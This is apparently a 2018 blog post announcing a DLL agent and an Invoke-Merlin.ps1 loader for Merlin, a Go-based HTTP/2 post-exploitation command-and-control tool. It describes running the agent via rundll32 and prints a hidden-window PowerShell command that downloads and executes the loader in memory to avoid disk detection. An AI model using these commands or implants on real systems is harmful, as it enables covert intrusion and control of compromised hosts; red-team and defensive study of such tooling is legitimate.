π§β Merlin Adds DLL Agent & PowerShell Invoke-Merlin Script
Mar 14 2018
By: Russel Van Tuyl β’ 4 min read
tl;dr Merlin now ships with an Agent DLL to enable support for TTPs that leverage a DLL. The DLL has also been embedded in anΒ Invoke-Merlin.ps1Β for in-memory execution to stay off Disk.
MerlinΒ is a cross-platform post-exploitation HTTP/2 Command & Control server and agent written in golang .Go is powerful because you can write one program and cross-compile it to many other platforms. One of my original goals with Merlin was to create a DLL to facilitate in-memory loading. In fact, this is one of the reasons why it took so long for a public release because I wasnβt able to get it figured out. After building a decent foundation and releasing Merlin to the public, I wanted to come back to generating a DLL. I ran acrossΒ this repositoryΒ where the author demonstrated how to generate a DLL from Go. In short, you have to export a function and then generate a C archive and header file using theΒ go build -buildmode=c-archive
Β command. Following this, you need aΒ simple C fileΒ that merely executes the exported command. Finish up by compiling the C file with GCC and voilΓ , you have a DLL file. Additional information on how to compile the DLL can be found in theΒ README.
Dynamic Link Library (DLL)
One of my favorite trade craft techniques is to load an agent or tool into memory using PowerShell to avoid putting files on the compromised hostβs file system. DLL files can be a powerful way to execute code on a compromised host. Tools such as Metasploit/meterpreter and FuzzBunch can be provided with an arbitrary DLL for execution on a compromised host.
rundll32.exe
The provided DLL can be delivered and executed many different ways. One method is to use Windowsβ built-in rundll32.exe program. To execute the merlin.dll file, pass the file as an argument and provide the entry point using a comma after the DLL (i.e.Β rundll32 merlin.dll,main
) . The rundll32.exe program will load merlin.dll using the LoadLibrary() function and then call the provided entry point. By default, the DLL is hard coded to connect toΒ https://127.0.0.1:443/
. The target server can be changed by calling the exportedΒ Run
Β function as an entry point and providing the target URL. For exampleΒ rundll32 merlin.dll,Run https://yourdomain.com:443/
. This works because underlying program parses the passed in argumentsΒ only whenΒ rundll32 is used.
PowerShell β Invoke-Merlin.ps1
A big thank you to Joe Bialek (@JosephBialek) andΒ Matt GraeberΒ for their work onΒ Invoke-ReflectivePEInjection.ps1. This PowerShell script can be used to reflectively load a Windows DLL file into the PowerShell process or another remote process. Iβve adapted this script by embedding a Base64 encoded version ofΒ merlin.dll
Β into the script. The original Invoke-ReflectivePEInjection functionality is still intact making this script dual use. Using Invoke-Merlin, a Merlin agent can be loaded into memory with the following command:
powershell.exe -w 1 -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ne0nd0g/merlin/dev/data/bin/powershell/Invoke-Merlin.ps1;Invoke-Merlin"
Limitations
Development of theΒ merlin.dll
Β is still underway. As such, a current limitation is that the DLL has no way to specify the C2 serverβs URL at the time of execution when calling Invoke-Merlin.ps1. The addressΒ https://127.0.0.1:443/
Β is hard coded into the DLL. A simple work around is to compile the DLL with your serverβs URL and to update Invoke-Merlin.ps1. TheΒ READMEΒ file has detailed information on how to compile the DLL and and update Invoke-Merlin.ps1 onlyΒ with 3 commands.

Conclusion
Adding a DLL version of the agent is huge when it comes to working with compromised Windows hosts. This opens a lot of doors to enable using many different trade craft techniques. More prominently is the ability to reflectively load the DLL into another process using the Invoke-Merlin.ps1 script. Once youβve exploited a host and have command execution, deliver the PowerShell script to load everything into memory without writing a file to disk. Let me know your thoughts in the comments below.
-Happy Hacking